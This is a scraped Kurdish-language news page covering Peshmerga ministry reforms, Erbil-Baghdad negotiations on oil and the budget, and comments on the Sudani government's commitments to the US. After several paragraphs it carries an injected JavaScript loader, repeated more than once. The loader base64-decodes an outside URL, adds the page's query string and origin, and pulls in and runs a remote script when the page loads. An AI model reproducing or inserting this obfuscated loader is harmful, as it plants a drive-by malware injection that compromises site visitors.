ستافێ بلند یێ وەزارەتا پێشمەرگە دوپاتكر كو پلانا وەزارەتێ بۆ قۆناغا نوكە یا هێزا پێشمەرگەی هەلگرتنا ئەرك و بەرپرسیارەتیێیە بۆ بجهئینانا بەرنامە و پلانێن ستراتیژیێن وەزارەتا پێشمەرگە د پڕۆسەیا یەكخستنا هێزان و ئاماژە ب ئەوێ چەندێ ژی هاتە كرن، پڕۆژەیێ قانوونا چاكسازیێن وەزارەتا پێشمەرگە پڕۆژەیەكێ نیشتمانییە بۆ هێزا پێشمەرگێ كوردستانێ و ئارمانج ژێ ئاڤاكرنا هێزەكا نیشتمانییا ئێكگرتییە ب بیروباوەرێن نەتەوەیی و نیشتمانی و بەردەوام بوونا وان ژی ل سەر پێنگاڤێن خوە دوپاتكر بۆ رێكخستن و ئێكگرتنا هەموو هێزێن جودا د چارچۆڤەیێ وەزارەتا پێشمەرە دا.
ژ ئالیێ خوەڤە تیما شیرەتكارێن هێزێن هەڤپەیمانان ل هەرێما كوردستانێ، دلخوەشییا خوە ب بزاڤێن وەزارەتا پێشمەرگە نیشاندا و راگەهاند، ب گرنگی ڤە دنێرنە بزاڤێن وەزارەتا پێشمرەگە و حوكمەتا هەرێما كوردستانێ بۆ بجهئینانا بڕگەیێن یاداشتنامێ، هەڤدەم ئاماژە ب ئەوێ چەندێ كر كو هەڤپشكی و و پێكڤە كاركرن ل گەل پێشمەرگەی دشێن پڕۆسەیا چاكسازیێن پێشمەرگەی و پڕۆسەیا رێكخستنا هێزان ب لەزتر بكەن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

هەردو شاندێن حوكمەتا هەرێما كوردستانێ و حوكمەتا فیدرالی د دانوستاندنان دانە بۆ گەهشتنێ ب رێككەفتنێ، بۆ هەموو پرسان پێنگاڤێن باش یێن هاتینە هاڤێتن و رێككەفتن یێن چووینە قۆناغەكا گرنگ.
سەگڤان سندی، ئەندامێ جڤاتا نوونەرێن ئیراقێ ژ فراكسیۆنا پارتی دیموكراتی كوردستان و جێگرێ سەرۆكێ لیژنەیا بەرگری و ئاسایشێ ل جڤاتا ناڤبری گۆت » چوونا شاندێ هەرێما كوردستانێ ل سەر بابەتێن پەترۆلێ و بودجەی و ئەمنی بۆ بەغدا، د دەمەكێ هەستیار دایە، گەلەك دۆسێیێن هەستیار ل بەغدا یێن هەین كو پەیوەندی ب هەرێما كوردستانێ و ئەوێ رێككەفتنا سیاسی د ناڤبەرا چارچۆڤەیێ هەماهەنگیێ و سەركردایەتییا هەرێما كوردستانێ یا هەی، كو هەر بڕیارەكا ل بەغدا ل دۆر كوردستانێ بهێتە دان، دڤێت ب رێككەفتن بیت ل گەل حوكمەتا هەرێما كوردستانێ» .
سەگڤان سندی گۆت ژی» چەندین جاران مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێما كوردستانێ یێ هاتییە بەغدا، گەلەك بابەت هەبوون كو دانوستاندن ل سەر هاتییە كرن. كۆمبوونێن سەرۆكێ حوكمەتا هەرێمێ ل گەل محەمەد شاع سۆدانی، سەرۆك وەزیرێن ئیراقێ و وەزیرێن پەترۆلێ و پلاندانانێ، بۆ ئەڤێ قۆناغێ گەلەك د گرنگ بوون، هەماهەنگییەكا باش یا هەی، ب ئەوێ هەماهەنگیێ دشیاندایە هەموو گرفتێن د ناڤبەرا هەردو ئالییاندا بهێنە ب دووماهی ئینان» .
ئاماژەكر» هەموو شاندێن هەرێما كوردستانێ ب رێنمایێن مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێمێ بوون، ئەڤە ژی هێزەكا دی د دەتە دانوستاندنان و هیڤیدارین گرفت بهێنە چارەسەركرن و تێدا د سەركەفتی بن».
هەر ل دۆر ئەڤێ چەندێ، ئدریس ئسماعیل، پەرلەمانتارێ پەرلەمانێ پارتی دیموكراتی كوردستان ل خولا پێنجێ گۆت » پێنگاڤ بۆ رێككەفتنێ و تێكگەهشتنێ د ناڤبەرا هەوێرێ و بەغدا یێن هاتینە هاڤێتن و دانوستاندن یا بەردەوامە، هیڤیدارین هیچ ئالییەك ئاستەنگان بۆ دانوستاندنان دروست نەكەت، ئەوا ل دەف مە گرنگ بجهئینانا رێككەفتنا شنگالێیە، د نوكە دا رێككەفتنا بودجەی ژی ب باشی یا چوویە پێش».
گۆت ژی» بابەتێ پەترۆلێ و هنارتنا پەترۆلێ ژی یێ مای، دڤێت حوكمەتا ئیراقێ ئەڤی بابەتی چارەسەر بكەت و دوبارە پەترۆلا هەرێما كوردستانێ بهێتە هنارتن».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

رێڤەبەرێ سەنتەرێ راگەهاندنا ئیراقی ل واشنتون، ئاماژە ب ئەوێ چەندێ كر: حوكمەتا محەمەد شیاع سۆدانی پێگیری سۆزێن خوە نەبوویە بەرانبەر ئەمریكا.
نزار حەیدەر، رێڤەبەرێ سەنتەرێ راگەهاندنا ئیراقی ل واشنتون د داخۆیانییەكا رۆژنامەڤانیدا گۆت » كۆماری و دیموكراتیخواز ل گۆنگرێسێ ئەمریكی د هەڤڕانە ل سەر ئەوێ سیاسەتا گشتی یا كو ئیدارەیا ئەمریك دخوازیت ل ئیراقێ بجهبینیت.
نزار حەیدەر دیاركر ژی» هەكە ئیدارەیا نوكە یا ئەمریكا بەردەوام ببیت ل سەر دەستهەلاتێ ل كۆچكا سپی، ئامرازێن بجهئینانا سیاسەتا خوە ل ئیراقێ دێ توندتر لێكەت و سیاسەتەكا ب هێزتر هەمبەر كرن ل گەل یا بەری نوكە دێ هەبیت» .
ناڤبری ئاماژەكر» محەمەد شیاع سۆدانی و حوكمەتا وی هەتا نوكە نەشیاینە پێگیری گەلەك ژ ئەوان سۆزا ببن یێن كو ب ئەمریكا داین، بەری هەموویان ژی پاراستنا دەزگەهێن بیانی ب تایبەت ئەمریكییان».
رێڤەبەرێ سەنتەرێ راگەهاندنا ئیراقی ل واشنتون دوپاتی ل ئەوێ چەندێ كر» ئیراقێ ئەو گرنگییا جاران نەمایە كو كارێ بەراهیێ ئەمریكا بیت، هەە ئیدارەیا ئەمریكا بهێتە گوهۆڕین ژی ئیراق هەر نابیتە كارێ بەراهیێ یێ ئەمریكا».
ل دۆر ڤەكێشانا هێزێن ئەمریكی ژ ئیراقێ، نزار حەیدەر دبێژیت» هیچ كەسەك هەتا حوكمەتا ئیراقی ژی باس ل ڤەكێشانا هێزێن ئەمریكی ژ ئیراقێ ناكەت، بەلكو داخواز دهێتە كرن شێواز و سروشتێ مانا هێزێن ئەمریكی ل ئیراقێ بهێتە گوهۆڕین» .(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();